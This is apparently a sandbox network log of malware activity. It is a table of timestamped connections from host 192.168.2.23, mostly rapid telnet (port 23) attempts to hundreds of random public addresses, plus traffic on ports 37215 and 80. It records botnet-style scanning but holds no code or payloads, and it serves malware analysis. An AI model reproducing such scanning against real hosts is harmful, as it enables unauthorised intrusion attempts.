Dec 3, 2024 21:30:50.527250051 CET	59020	23	192.168.2.23	120.33.112.242
Dec 3, 2024 21:30:50.527250051 CET	59020	23	192.168.2.23	176.17.44.147
Dec 3, 2024 21:30:50.527251005 CET	59020	23	192.168.2.23	152.116.188.77
Dec 3, 2024 21:30:50.527251959 CET	59020	23	192.168.2.23	53.75.224.182
Dec 3, 2024 21:30:50.527256012 CET	59020	23	192.168.2.23	100.242.254.184
Dec 3, 2024 21:30:50.527256012 CET	59020	23	192.168.2.23	111.127.67.191
Dec 3, 2024 21:30:50.527256012 CET	59020	23	192.168.2.23	91.38.160.193
Dec 3, 2024 21:30:50.527256012 CET	59020	23	192.168.2.23	143.201.125.218
Dec 3, 2024 21:30:50.527256012 CET	59020	23	192.168.2.23	71.51.139.31
Dec 3, 2024 21:30:50.527265072 CET	59020	23	192.168.2.23	49.202.228.125
Dec 3, 2024 21:30:50.527265072 CET	59020	23	192.168.2.23	217.158.132.18
Dec 3, 2024 21:30:50.527265072 CET	59020	23	192.168.2.23	219.208.41.192
Dec 3, 2024 21:30:50.527271986 CET	59020	23	192.168.2.23	62.192.235.178
Dec 3, 2024 21:30:50.527271986 CET	59020	23	192.168.2.23	126.245.139.232
Dec 3, 2024 21:30:50.527271986 CET	59020	23	192.168.2.23	44.145.23.103
Dec 3, 2024 21:30:50.527271986 CET	59020	23	192.168.2.23	99.92.101.31
Dec 3, 2024 21:30:50.527288914 CET	59020	23	192.168.2.23	97.105.21.137
Dec 3, 2024 21:30:50.527296066 CET	59020	23	192.168.2.23	133.153.15.1
Dec 3, 2024 21:30:50.527296066 CET	59020	23	192.168.2.23	20.208.45.63
Dec 3, 2024 21:30:50.527296066 CET	59020	23	192.168.2.23	1.81.91.94
Dec 3, 2024 21:30:50.527298927 CET	59020	23	192.168.2.23	57.170.55.73
Dec 3, 2024 21:30:50.527298927 CET	59020	23	192.168.2.23	31.101.40.145
Dec 3, 2024 21:30:50.527298927 CET	59020	23	192.168.2.23	87.143.216.255
Dec 3, 2024 21:30:50.527298927 CET	59020	23	192.168.2.23	89.210.73.99
Dec 3, 2024 21:30:50.527298927 CET	59020	23	192.168.2.23	183.12.91.205
Dec 3, 2024 21:30:50.527299881 CET	59020	23	192.168.2.23	50.191.3.236
Dec 3, 2024 21:30:50.527298927 CET	59020	23	192.168.2.23	216.35.49.49
Dec 3, 2024 21:30:50.527298927 CET	59020	23	192.168.2.23	69.215.174.190
Dec 3, 2024 21:30:50.527298927 CET	59020	23	192.168.2.23	106.233.7.183
Dec 3, 2024 21:30:50.527298927 CET	59020	23	192.168.2.23	102.93.144.57
Dec 3, 2024 21:30:50.527298927 CET	59020	23	192.168.2.23	83.85.166.254
Dec 3, 2024 21:30:50.527298927 CET	59020	23	192.168.2.23	18.225.193.90
Dec 3, 2024 21:30:50.527308941 CET	59020	23	192.168.2.23	59.64.74.29
Dec 3, 2024 21:30:50.527328968 CET	59020	23	192.168.2.23	186.54.245.61
Dec 3, 2024 21:30:50.527328968 CET	59020	23	192.168.2.23	106.176.45.28
Dec 3, 2024 21:30:50.527328968 CET	59020	23	192.168.2.23	119.99.24.207
Dec 3, 2024 21:30:50.527329922 CET	59020	23	192.168.2.23	167.108.199.86
Dec 3, 2024 21:30:50.527328968 CET	59020	23	192.168.2.23	184.89.121.102
Dec 3, 2024 21:30:50.527333021 CET	59020	23	192.168.2.23	47.46.92.227
Dec 3, 2024 21:30:50.527333021 CET	59020	23	192.168.2.23	124.206.70.169
Dec 3, 2024 21:30:50.527333021 CET	59020	23	192.168.2.23	116.42.89.108
Dec 3, 2024 21:30:50.527333021 CET	59020	23	192.168.2.23	81.222.101.110
Dec 3, 2024 21:30:50.527333021 CET	59020	23	192.168.2.23	186.65.130.117
Dec 3, 2024 21:30:50.527333021 CET	59020	23	192.168.2.23	177.144.56.172
Dec 3, 2024 21:30:50.527343988 CET	59020	23	192.168.2.23	157.246.237.134
Dec 3, 2024 21:30:50.527343988 CET	59020	23	192.168.2.23	136.186.189.245
Dec 3, 2024 21:30:50.527343988 CET	59020	23	192.168.2.23	158.95.77.245
Dec 3, 2024 21:30:50.527343988 CET	59020	23	192.168.2.23	118.111.109.221
Dec 3, 2024 21:30:50.527343988 CET	59020	23	192.168.2.23	162.137.116.193
Dec 3, 2024 21:30:50.527343988 CET	59020	23	192.168.2.23	173.113.53.74
Dec 3, 2024 21:30:50.527343988 CET	59020	23	192.168.2.23	75.109.37.172
Dec 3, 2024 21:30:50.527343988 CET	59020	23	192.168.2.23	114.30.102.23
Dec 3, 2024 21:30:50.527343988 CET	59020	23	192.168.2.23	104.119.20.31
Dec 3, 2024 21:30:50.527359009 CET	59020	23	192.168.2.23	49.141.48.187
Dec 3, 2024 21:30:50.527362108 CET	59020	23	192.168.2.23	182.193.111.134
Dec 3, 2024 21:30:50.527363062 CET	59020	23	192.168.2.23	166.99.121.158
Dec 3, 2024 21:30:50.527363062 CET	59020	23	192.168.2.23	195.108.218.114
Dec 3, 2024 21:30:50.527363062 CET	59020	23	192.168.2.23	40.84.15.65
Dec 3, 2024 21:30:50.527363062 CET	59020	23	192.168.2.23	131.35.171.18
Dec 3, 2024 21:30:50.527363062 CET	59020	23	192.168.2.23	111.179.236.1
Dec 3, 2024 21:30:50.527363062 CET	59020	23	192.168.2.23	152.177.136.127
Dec 3, 2024 21:30:50.527363062 CET	59020	23	192.168.2.23	129.36.100.127
Dec 3, 2024 21:30:50.527363062 CET	59020	23	192.168.2.23	121.152.198.49
Dec 3, 2024 21:30:50.527363062 CET	59020	23	192.168.2.23	145.217.41.225
Dec 3, 2024 21:30:50.527363062 CET	59020	23	192.168.2.23	97.35.21.216
Dec 3, 2024 21:30:50.527363062 CET	59020	23	192.168.2.23	118.43.41.165
Dec 3, 2024 21:30:50.527363062 CET	59020	23	192.168.2.23	118.252.237.186
Dec 3, 2024 21:30:50.527363062 CET	59020	23	192.168.2.23	213.1.253.135
Dec 3, 2024 21:30:50.527381897 CET	59020	23	192.168.2.23	223.250.178.214
Dec 3, 2024 21:30:50.527381897 CET	59020	23	192.168.2.23	156.212.163.155
Dec 3, 2024 21:30:50.527384043 CET	59020	23	192.168.2.23	204.81.158.138
Dec 3, 2024 21:30:50.527384043 CET	59020	23	192.168.2.23	186.224.209.201
Dec 3, 2024 21:30:50.527384043 CET	59020	23	192.168.2.23	190.199.75.96
Dec 3, 2024 21:30:50.527384043 CET	59020	23	192.168.2.23	31.237.207.52
Dec 3, 2024 21:30:50.527384043 CET	59020	23	192.168.2.23	108.195.123.237
Dec 3, 2024 21:30:50.527384043 CET	59020	23	192.168.2.23	186.64.242.123
Dec 3, 2024 21:30:50.527386904 CET	59020	23	192.168.2.23	116.100.168.38
Dec 3, 2024 21:30:50.527386904 CET	59020	23	192.168.2.23	187.182.53.209
Dec 3, 2024 21:30:50.527386904 CET	59020	23	192.168.2.23	195.21.202.48
Dec 3, 2024 21:30:50.527388096 CET	59020	23	192.168.2.23	208.80.190.152
Dec 3, 2024 21:30:50.527388096 CET	59020	23	192.168.2.23	194.248.83.60
Dec 3, 2024 21:30:50.527388096 CET	59020	23	192.168.2.23	170.83.143.157
Dec 3, 2024 21:30:50.527388096 CET	59020	23	192.168.2.23	209.146.208.40
Dec 3, 2024 21:30:50.527388096 CET	59020	23	192.168.2.23	158.176.38.229
Dec 3, 2024 21:30:50.527388096 CET	59020	23	192.168.2.23	148.63.4.179
Dec 3, 2024 21:30:50.527388096 CET	59020	23	192.168.2.23	39.59.12.218
Dec 3, 2024 21:30:50.527388096 CET	59020	23	192.168.2.23	53.117.55.37
Dec 3, 2024 21:30:50.527403116 CET	59020	23	192.168.2.23	122.198.238.142
Dec 3, 2024 21:30:50.527403116 CET	59020	23	192.168.2.23	177.244.184.55
Dec 3, 2024 21:30:50.527403116 CET	59020	23	192.168.2.23	195.31.65.253
Dec 3, 2024 21:30:50.527404070 CET	59020	23	192.168.2.23	52.71.178.72
Dec 3, 2024 21:30:50.527404070 CET	59020	23	192.168.2.23	142.101.232.27
Dec 3, 2024 21:30:50.527404070 CET	59020	23	192.168.2.23	8.67.59.242
Dec 3, 2024 21:30:50.527405977 CET	59020	23	192.168.2.23	92.155.202.254
Dec 3, 2024 21:30:50.527406931 CET	59020	23	192.168.2.23	103.39.201.255
Dec 3, 2024 21:30:50.527405977 CET	59020	23	192.168.2.23	216.233.35.102
Dec 3, 2024 21:30:50.527406931 CET	59020	23	192.168.2.23	83.208.118.128
Dec 3, 2024 21:30:50.527407885 CET	59020	23	192.168.2.23	71.111.30.98
Dec 3, 2024 21:30:50.527406931 CET	59020	23	192.168.2.23	157.132.88.185
Dec 3, 2024 21:30:50.527407885 CET	59020	23	192.168.2.23	191.34.47.86
Dec 3, 2024 21:30:50.527406931 CET	59020	23	192.168.2.23	196.101.27.144
Dec 3, 2024 21:30:50.527407885 CET	59020	23	192.168.2.23	175.38.91.102
Dec 3, 2024 21:30:50.527405024 CET	59020	23	192.168.2.23	114.187.235.234
Dec 3, 2024 21:30:50.527417898 CET	59020	23	192.168.2.23	181.206.72.112
Dec 3, 2024 21:30:50.527419090 CET	59020	23	192.168.2.23	156.3.16.230
Dec 3, 2024 21:30:50.527419090 CET	59020	23	192.168.2.23	173.226.23.132
Dec 3, 2024 21:30:50.527406931 CET	59020	23	192.168.2.23	40.129.6.137
Dec 3, 2024 21:30:50.527420044 CET	59020	23	192.168.2.23	5.75.33.191
Dec 3, 2024 21:30:50.527419090 CET	59020	23	192.168.2.23	147.57.3.19
Dec 3, 2024 21:30:50.527424097 CET	59020	23	192.168.2.23	188.176.112.110
Dec 3, 2024 21:30:50.527424097 CET	59020	23	192.168.2.23	107.225.154.208
Dec 3, 2024 21:30:50.527424097 CET	59020	23	192.168.2.23	31.225.81.251
Dec 3, 2024 21:30:50.527427912 CET	59020	23	192.168.2.23	45.115.229.165
Dec 3, 2024 21:30:50.527427912 CET	59020	23	192.168.2.23	185.67.112.197
Dec 3, 2024 21:30:50.527427912 CET	59020	23	192.168.2.23	98.63.178.248
Dec 3, 2024 21:30:50.527427912 CET	59020	23	192.168.2.23	27.22.219.102
Dec 3, 2024 21:30:50.527431011 CET	59020	23	192.168.2.23	60.143.133.145
Dec 3, 2024 21:30:50.527431011 CET	59020	23	192.168.2.23	148.180.241.40
Dec 3, 2024 21:30:50.527434111 CET	59020	23	192.168.2.23	159.197.222.159
Dec 3, 2024 21:30:50.527435064 CET	59020	23	192.168.2.23	91.64.121.201
Dec 3, 2024 21:30:50.527435064 CET	59020	23	192.168.2.23	114.52.234.223
Dec 3, 2024 21:30:50.527437925 CET	59020	23	192.168.2.23	68.28.242.214
Dec 3, 2024 21:30:50.527447939 CET	59020	23	192.168.2.23	219.251.80.1
Dec 3, 2024 21:30:50.527452946 CET	59020	23	192.168.2.23	42.21.183.182
Dec 3, 2024 21:30:50.527452946 CET	59020	23	192.168.2.23	65.94.248.46
Dec 3, 2024 21:30:50.527466059 CET	59020	23	192.168.2.23	34.240.32.55
Dec 3, 2024 21:30:50.527467966 CET	59020	23	192.168.2.23	219.157.189.15
Dec 3, 2024 21:30:50.527467966 CET	59020	23	192.168.2.23	113.183.163.95
Dec 3, 2024 21:30:50.527472019 CET	59020	23	192.168.2.23	41.94.136.121
Dec 3, 2024 21:30:50.527478933 CET	59020	23	192.168.2.23	60.240.161.30
Dec 3, 2024 21:30:50.527479887 CET	59020	23	192.168.2.23	196.178.149.99
Dec 3, 2024 21:30:50.527493954 CET	59020	23	192.168.2.23	97.49.108.218
Dec 3, 2024 21:30:50.527493954 CET	59020	23	192.168.2.23	190.39.230.2
Dec 3, 2024 21:30:50.527498960 CET	59020	23	192.168.2.23	216.2.39.242
Dec 3, 2024 21:30:50.527499914 CET	59020	23	192.168.2.23	81.41.213.220
Dec 3, 2024 21:30:50.527502060 CET	59020	23	192.168.2.23	88.43.215.166
Dec 3, 2024 21:30:50.527502060 CET	59020	23	192.168.2.23	151.191.161.245
Dec 3, 2024 21:30:50.527515888 CET	59020	23	192.168.2.23	168.194.204.134
Dec 3, 2024 21:30:50.527518988 CET	59020	23	192.168.2.23	52.162.117.162
Dec 3, 2024 21:30:50.527523994 CET	59020	23	192.168.2.23	136.36.199.46
Dec 3, 2024 21:30:50.527523994 CET	59020	23	192.168.2.23	133.73.206.193
Dec 3, 2024 21:30:50.527537107 CET	59020	23	192.168.2.23	63.241.90.142
Dec 3, 2024 21:30:50.527538061 CET	59020	23	192.168.2.23	36.31.246.49
Dec 3, 2024 21:30:50.527542114 CET	59020	23	192.168.2.23	5.27.244.104
Dec 3, 2024 21:30:50.527546883 CET	59020	23	192.168.2.23	9.179.100.84
Dec 3, 2024 21:30:50.527550936 CET	59020	23	192.168.2.23	218.24.167.218
Dec 3, 2024 21:30:50.527559042 CET	59020	23	192.168.2.23	143.25.183.22
Dec 3, 2024 21:30:50.527564049 CET	59020	23	192.168.2.23	163.97.207.161
Dec 3, 2024 21:30:50.527580976 CET	59020	23	192.168.2.23	171.137.232.244
Dec 3, 2024 21:30:50.527585030 CET	59020	23	192.168.2.23	61.107.193.13
Dec 3, 2024 21:30:50.527587891 CET	59020	23	192.168.2.23	166.93.54.222
Dec 3, 2024 21:30:50.527590990 CET	59020	23	192.168.2.23	4.124.159.11
Dec 3, 2024 21:30:50.527591944 CET	59020	23	192.168.2.23	146.225.71.15
Dec 3, 2024 21:30:50.527599096 CET	59020	23	192.168.2.23	113.3.92.176
Dec 3, 2024 21:30:50.527599096 CET	59020	23	192.168.2.23	125.222.182.5
Dec 3, 2024 21:30:50.527600050 CET	59020	23	192.168.2.23	125.113.42.26
Dec 3, 2024 21:30:50.527600050 CET	59020	23	192.168.2.23	178.88.239.243
Dec 3, 2024 21:30:50.527600050 CET	59020	23	192.168.2.23	219.68.73.34
Dec 3, 2024 21:30:50.527600050 CET	59020	23	192.168.2.23	93.107.116.204
Dec 3, 2024 21:30:50.527600050 CET	59020	23	192.168.2.23	113.150.56.196
Dec 3, 2024 21:30:50.527606010 CET	59020	23	192.168.2.23	126.61.72.142
Dec 3, 2024 21:30:50.527606010 CET	59020	23	192.168.2.23	219.122.55.67
Dec 3, 2024 21:30:50.527606964 CET	59020	23	192.168.2.23	45.157.43.233
Dec 3, 2024 21:30:50.527606964 CET	59020	23	192.168.2.23	187.121.187.212
Dec 3, 2024 21:30:50.527606964 CET	59020	23	192.168.2.23	93.88.67.142
Dec 3, 2024 21:30:50.527615070 CET	59020	23	192.168.2.23	205.106.166.42
Dec 3, 2024 21:30:50.527626038 CET	59020	23	192.168.2.23	219.241.126.220
Dec 3, 2024 21:30:50.527631998 CET	59020	23	192.168.2.23	54.255.56.139
Dec 3, 2024 21:30:50.527633905 CET	59020	23	192.168.2.23	201.57.236.237
Dec 3, 2024 21:30:50.527640104 CET	59020	23	192.168.2.23	109.243.197.205
Dec 3, 2024 21:30:50.527654886 CET	59020	23	192.168.2.23	9.79.226.56
Dec 3, 2024 21:30:50.527657986 CET	59020	23	192.168.2.23	125.222.18.2
Dec 3, 2024 21:30:50.527657986 CET	59020	23	192.168.2.23	118.222.69.168
Dec 3, 2024 21:30:50.527657986 CET	59020	23	192.168.2.23	175.240.65.232
Dec 3, 2024 21:30:50.527661085 CET	59020	23	192.168.2.23	113.225.155.6
Dec 3, 2024 21:30:50.527661085 CET	59020	23	192.168.2.23	24.142.107.252
Dec 3, 2024 21:30:50.527664900 CET	59020	23	192.168.2.23	69.172.136.210
Dec 3, 2024 21:30:50.527664900 CET	59020	23	192.168.2.23	27.130.93.126
Dec 3, 2024 21:30:50.527664900 CET	59020	23	192.168.2.23	95.101.195.126
Dec 3, 2024 21:30:50.527683973 CET	59020	23	192.168.2.23	41.193.93.2
Dec 3, 2024 21:30:50.527687073 CET	59020	23	192.168.2.23	160.142.123.255
Dec 3, 2024 21:30:50.527687073 CET	59020	23	192.168.2.23	205.218.120.243
Dec 3, 2024 21:30:50.527688026 CET	59020	23	192.168.2.23	184.230.228.149
Dec 3, 2024 21:30:50.527688026 CET	59020	23	192.168.2.23	108.75.176.65
Dec 3, 2024 21:30:50.527692080 CET	59020	23	192.168.2.23	207.136.101.110
Dec 3, 2024 21:30:50.527705908 CET	59020	23	192.168.2.23	124.251.150.141
Dec 3, 2024 21:30:50.527708054 CET	59020	23	192.168.2.23	158.218.88.96
Dec 3, 2024 21:30:50.527712107 CET	59020	23	192.168.2.23	111.17.225.68
Dec 3, 2024 21:30:50.527713060 CET	59020	23	192.168.2.23	173.234.154.8
Dec 3, 2024 21:30:50.527719975 CET	59020	23	192.168.2.23	163.127.232.197
Dec 3, 2024 21:30:50.527719975 CET	59020	23	192.168.2.23	36.6.163.183
Dec 3, 2024 21:30:50.527723074 CET	59020	23	192.168.2.23	207.114.127.144
Dec 3, 2024 21:30:50.527729034 CET	59020	23	192.168.2.23	144.123.47.217
Dec 3, 2024 21:30:50.527729034 CET	59020	23	192.168.2.23	187.8.214.247
Dec 3, 2024 21:30:50.527735949 CET	59020	23	192.168.2.23	158.72.132.139
Dec 3, 2024 21:30:50.527738094 CET	59020	23	192.168.2.23	157.18.206.161
Dec 3, 2024 21:30:50.527738094 CET	59020	23	192.168.2.23	38.188.223.139
Dec 3, 2024 21:30:50.527750015 CET	59020	23	192.168.2.23	25.140.19.110
Dec 3, 2024 21:30:50.527751923 CET	59020	23	192.168.2.23	17.232.123.140
Dec 3, 2024 21:30:50.527755976 CET	59020	23	192.168.2.23	85.199.192.0
Dec 3, 2024 21:30:50.527769089 CET	59020	23	192.168.2.23	123.33.212.51
Dec 3, 2024 21:30:50.527769089 CET	59020	23	192.168.2.23	86.118.230.200
Dec 3, 2024 21:30:50.527769089 CET	59020	23	192.168.2.23	38.210.36.217
Dec 3, 2024 21:30:50.527785063 CET	59020	23	192.168.2.23	161.14.93.59
Dec 3, 2024 21:30:50.527789116 CET	59020	23	192.168.2.23	109.96.232.71
Dec 3, 2024 21:30:50.527792931 CET	59020	23	192.168.2.23	137.107.148.192
Dec 3, 2024 21:30:50.527795076 CET	59020	23	192.168.2.23	35.26.142.234
Dec 3, 2024 21:30:50.527803898 CET	59020	23	192.168.2.23	205.21.158.224
Dec 3, 2024 21:30:50.527803898 CET	59020	23	192.168.2.23	25.244.221.220
Dec 3, 2024 21:30:50.527813911 CET	59020	23	192.168.2.23	159.171.86.16
Dec 3, 2024 21:30:50.527813911 CET	59020	23	192.168.2.23	139.52.49.48
Dec 3, 2024 21:30:50.527816057 CET	59020	23	192.168.2.23	60.78.182.167
Dec 3, 2024 21:30:50.527827978 CET	59020	23	192.168.2.23	5.185.9.225
Dec 3, 2024 21:30:50.527828932 CET	59020	23	192.168.2.23	105.56.130.123
Dec 3, 2024 21:30:50.527837038 CET	59020	23	192.168.2.23	210.130.120.164
Dec 3, 2024 21:30:50.527838945 CET	59020	23	192.168.2.23	139.196.135.122
Dec 3, 2024 21:30:50.527842999 CET	59020	23	192.168.2.23	57.208.160.188
Dec 3, 2024 21:30:50.527848959 CET	59020	23	192.168.2.23	138.62.32.143
Dec 3, 2024 21:30:50.527853012 CET	59020	23	192.168.2.23	39.208.7.156
Dec 3, 2024 21:30:50.527865887 CET	59020	23	192.168.2.23	104.68.174.225
Dec 3, 2024 21:30:50.527870893 CET	59020	23	192.168.2.23	17.133.185.130
Dec 3, 2024 21:30:50.527872086 CET	59020	23	192.168.2.23	120.25.0.217
Dec 3, 2024 21:30:50.527878046 CET	59020	23	192.168.2.23	203.248.243.88
Dec 3, 2024 21:30:50.527879000 CET	59020	23	192.168.2.23	209.8.139.63
Dec 3, 2024 21:30:50.527903080 CET	59020	23	192.168.2.23	129.223.115.112
Dec 3, 2024 21:30:50.527904034 CET	59020	23	192.168.2.23	125.123.81.203
Dec 3, 2024 21:30:50.527906895 CET	59020	23	192.168.2.23	140.236.216.123
Dec 3, 2024 21:30:50.527906895 CET	59020	23	192.168.2.23	207.131.56.196
Dec 3, 2024 21:30:50.527908087 CET	59020	23	192.168.2.23	87.83.168.24
Dec 3, 2024 21:30:50.527908087 CET	59020	23	192.168.2.23	45.44.17.37
Dec 3, 2024 21:30:50.527916908 CET	59020	23	192.168.2.23	192.33.40.75
Dec 3, 2024 21:30:50.527916908 CET	59020	23	192.168.2.23	110.191.120.151
Dec 3, 2024 21:30:50.527916908 CET	59020	23	192.168.2.23	54.60.74.19
Dec 3, 2024 21:30:50.527918100 CET	59020	23	192.168.2.23	162.155.46.162
Dec 3, 2024 21:30:50.527918100 CET	59020	23	192.168.2.23	114.73.33.21
Dec 3, 2024 21:30:50.527918100 CET	59020	23	192.168.2.23	204.44.34.91
Dec 3, 2024 21:30:50.527916908 CET	59020	23	192.168.2.23	95.13.141.54
Dec 3, 2024 21:30:50.527925014 CET	59020	23	192.168.2.23	190.227.13.18
Dec 3, 2024 21:30:50.527925014 CET	59020	23	192.168.2.23	95.113.252.252
Dec 3, 2024 21:30:50.527926922 CET	59020	23	192.168.2.23	141.210.119.175
Dec 3, 2024 21:30:50.527929068 CET	59020	23	192.168.2.23	128.123.150.211
Dec 3, 2024 21:30:50.527930975 CET	59020	23	192.168.2.23	90.108.64.127
Dec 3, 2024 21:30:50.527932882 CET	59020	23	192.168.2.23	211.77.155.233
Dec 3, 2024 21:30:50.527932882 CET	59020	23	192.168.2.23	144.210.49.129
Dec 3, 2024 21:30:50.527934074 CET	59020	23	192.168.2.23	129.164.21.131
Dec 3, 2024 21:30:50.527940989 CET	59020	23	192.168.2.23	14.218.230.218
Dec 3, 2024 21:30:50.527945042 CET	59020	23	192.168.2.23	174.90.136.187
Dec 3, 2024 21:30:50.527945042 CET	59020	23	192.168.2.23	64.244.253.138
Dec 3, 2024 21:30:50.527945042 CET	59020	23	192.168.2.23	187.212.133.0
Dec 3, 2024 21:30:50.527945042 CET	59020	23	192.168.2.23	101.116.84.106
Dec 3, 2024 21:30:50.527945995 CET	59020	23	192.168.2.23	202.229.76.88
Dec 3, 2024 21:30:50.527954102 CET	59020	23	192.168.2.23	135.251.134.187
Dec 3, 2024 21:30:50.527954102 CET	59020	23	192.168.2.23	182.2.246.228
Dec 3, 2024 21:30:50.527957916 CET	59020	23	192.168.2.23	135.146.166.220
Dec 3, 2024 21:30:50.527972937 CET	59020	23	192.168.2.23	177.123.208.224
Dec 3, 2024 21:30:50.527972937 CET	59020	23	192.168.2.23	220.131.252.245
Dec 3, 2024 21:30:50.527978897 CET	59020	23	192.168.2.23	45.238.164.216
Dec 3, 2024 21:30:50.527987957 CET	59020	23	192.168.2.23	65.120.111.35
Dec 3, 2024 21:30:50.527992010 CET	59020	23	192.168.2.23	58.204.248.15
Dec 3, 2024 21:30:50.527996063 CET	59020	23	192.168.2.23	69.178.124.102
Dec 3, 2024 21:30:50.527997017 CET	59020	23	192.168.2.23	206.40.17.235
Dec 3, 2024 21:30:50.527997971 CET	59020	23	192.168.2.23	38.172.37.144
Dec 3, 2024 21:30:50.527997971 CET	59020	23	192.168.2.23	39.239.207.23
Dec 3, 2024 21:30:50.528003931 CET	59020	23	192.168.2.23	179.235.190.221
Dec 3, 2024 21:30:50.528004885 CET	59020	23	192.168.2.23	149.141.87.140
Dec 3, 2024 21:30:50.528006077 CET	59020	23	192.168.2.23	35.53.178.255
Dec 3, 2024 21:30:50.528007984 CET	59020	23	192.168.2.23	25.228.171.234
Dec 3, 2024 21:30:50.528024912 CET	59020	23	192.168.2.23	186.87.84.222
Dec 3, 2024 21:30:50.528024912 CET	59020	23	192.168.2.23	53.112.131.182
Dec 3, 2024 21:30:50.528028011 CET	59020	23	192.168.2.23	121.177.5.113
Dec 3, 2024 21:30:50.528032064 CET	59020	23	192.168.2.23	152.155.109.159
Dec 3, 2024 21:30:50.528033018 CET	59020	23	192.168.2.23	58.11.166.41
Dec 3, 2024 21:30:50.528033972 CET	59020	23	192.168.2.23	218.10.77.159
Dec 3, 2024 21:30:50.528036118 CET	59020	23	192.168.2.23	135.146.30.146
Dec 3, 2024 21:30:50.528045893 CET	59020	23	192.168.2.23	13.51.243.162
Dec 3, 2024 21:30:50.528045893 CET	59020	23	192.168.2.23	93.251.156.138
Dec 3, 2024 21:30:50.528045893 CET	59020	23	192.168.2.23	118.231.220.196
Dec 3, 2024 21:30:50.528055906 CET	59020	23	192.168.2.23	98.159.228.35
Dec 3, 2024 21:30:50.528057098 CET	59020	23	192.168.2.23	117.57.232.81
Dec 3, 2024 21:30:50.528057098 CET	59020	23	192.168.2.23	167.217.71.86
Dec 3, 2024 21:30:50.528064966 CET	59020	23	192.168.2.23	140.3.123.147
Dec 3, 2024 21:30:50.528067112 CET	59020	23	192.168.2.23	157.114.118.80
Dec 3, 2024 21:30:50.528067112 CET	59020	23	192.168.2.23	119.48.18.30
Dec 3, 2024 21:30:50.528069973 CET	59020	23	192.168.2.23	143.214.254.141
Dec 3, 2024 21:30:50.528073072 CET	59020	23	192.168.2.23	178.137.240.166
Dec 3, 2024 21:30:50.528079033 CET	59020	23	192.168.2.23	195.196.99.88
Dec 3, 2024 21:30:50.528081894 CET	59020	23	192.168.2.23	131.91.92.217
Dec 3, 2024 21:30:50.528083086 CET	59020	23	192.168.2.23	156.169.42.101
Dec 3, 2024 21:30:50.528083086 CET	59020	23	192.168.2.23	62.118.181.21
Dec 3, 2024 21:30:50.528090954 CET	59020	23	192.168.2.23	86.38.233.110
Dec 3, 2024 21:30:50.528091908 CET	59020	23	192.168.2.23	97.117.243.114
Dec 3, 2024 21:30:50.528093100 CET	59020	23	192.168.2.23	192.255.37.172
Dec 3, 2024 21:30:50.528101921 CET	59020	23	192.168.2.23	108.167.155.169
Dec 3, 2024 21:30:50.528105974 CET	59020	23	192.168.2.23	57.199.146.195
Dec 3, 2024 21:30:50.528106928 CET	59020	23	192.168.2.23	40.241.75.6
Dec 3, 2024 21:30:50.528109074 CET	59020	23	192.168.2.23	53.164.152.102
Dec 3, 2024 21:30:50.528115034 CET	59020	23	192.168.2.23	190.135.212.177
Dec 3, 2024 21:30:50.528115034 CET	59020	23	192.168.2.23	120.132.9.134
Dec 3, 2024 21:30:50.528116941 CET	59020	23	192.168.2.23	137.92.4.52
Dec 3, 2024 21:30:50.528129101 CET	59020	23	192.168.2.23	148.89.9.2
Dec 3, 2024 21:30:50.528129101 CET	59020	23	192.168.2.23	128.134.98.47
Dec 3, 2024 21:30:50.532601118 CET	37215	44212	156.219.74.61	192.168.2.23
Dec 3, 2024 21:30:50.533035994 CET	37215	44440	156.219.74.61	192.168.2.23
Dec 3, 2024 21:30:50.533085108 CET	44440	37215	192.168.2.23	156.219.74.61
Dec 3, 2024 21:30:50.533116102 CET	44440	37215	192.168.2.23	156.219.74.61
Dec 3, 2024 21:30:50.541058064 CET	80	37672	94.147.154.72	192.168.2.23
Dec 3, 2024 21:30:50.541125059 CET	37672	80	192.168.2.23	94.147.154.72
Dec 3, 2024 21:30:50.541220903 CET	37672	80	192.168.2.23	94.147.154.72
Dec 3, 2024 21:30:50.541220903 CET	37672	80	192.168.2.23	94.147.154.72
Dec 3, 2024 21:30:50.541306019 CET	80	35776	167.75.81.162	192.168.2.23
Dec 3, 2024 21:30:50.541349888 CET	35776	80	192.168.2.23	167.75.81.162
Dec 3, 2024 21:30:50.541590929 CET	37680	80	192.168.2.23	94.147.154.72
Dec 3, 2024 21:30:50.541624069 CET	80	56822	51.137.140.164	192.168.2.23
Dec 3, 2024 21:30:50.541668892 CET	56822	80	192.168.2.23	51.137.140.164
Dec 3, 2024 21:30:50.542006969 CET	56822	80	192.168.2.23	51.137.140.164
Dec 3, 2024 21:30:50.542006969 CET	56822	80	192.168.2.23	51.137.140.164
Dec 3, 2024 21:30:50.542254925 CET	80	46770	175.121.86.4	192.168.2.23
Dec 3, 2024 21:30:50.542289972 CET	56830	80	192.168.2.23	51.137.140.164
Dec 3, 2024 21:30:50.542289972 CET	46770	80	192.168.2.23	175.121.86.4
Dec 3, 2024 21:30:50.542666912 CET	46770	80	192.168.2.23	175.121.86.4
Dec 3, 2024 21:30:50.542666912 CET	46770	80	192.168.2.23	175.121.86.4
Dec 3, 2024 21:30:50.542907000 CET	46778	80	192.168.2.23	175.121.86.4
Dec 3, 2024 21:30:50.552726030 CET	80	40178	32.227.59.119	192.168.2.23
Dec 3, 2024 21:30:50.552791119 CET	40178	80	192.168.2.23	32.227.59.119
Dec 3, 2024 21:30:50.560615063 CET	80	48900	149.30.241.216	192.168.2.23
Dec 3, 2024 21:30:50.560671091 CET	48900	80	192.168.2.23	149.30.241.216
Dec 3, 2024 21:30:50.580034971 CET	37215	44212	156.219.74.61	192.168.2.23
Dec 3, 2024 21:30:50.587975025 CET	23	36906	8.14.63.183	192.168.2.23
Dec 3, 2024 21:30:50.588090897 CET	36906	23	192.168.2.23	8.14.63.183
Dec 3, 2024 21:30:50.588506937 CET	37310	23	192.168.2.23	8.14.63.183
Dec 3, 2024 21:30:50.588785887 CET	80	59090	104.94.144.183	192.168.2.23
Dec 3, 2024 21:30:50.588819981 CET	59090	80	192.168.2.23	104.94.144.183
Dec 3, 2024 21:30:50.589328051 CET	80	57784	82.135.213.51	192.168.2.23
Dec 3, 2024 21:30:50.589385986 CET	57784	80	192.168.2.23	82.135.213.51
Dec 3, 2024 21:30:50.595968962 CET	80	49798	18.145.102.122	192.168.2.23
Dec 3, 2024 21:30:50.596354961 CET	80	50288	18.145.102.122	192.168.2.23
Dec 3, 2024 21:30:50.596429110 CET	50288	80	192.168.2.23	18.145.102.122
Dec 3, 2024 21:30:50.596501112 CET	50288	80	192.168.2.23	18.145.102.122
Dec 3, 2024 21:30:50.629214048 CET	37215	36170	156.110.125.63	192.168.2.23
Dec 3, 2024 21:30:50.629281044 CET	36170	37215	192.168.2.23	156.110.125.63
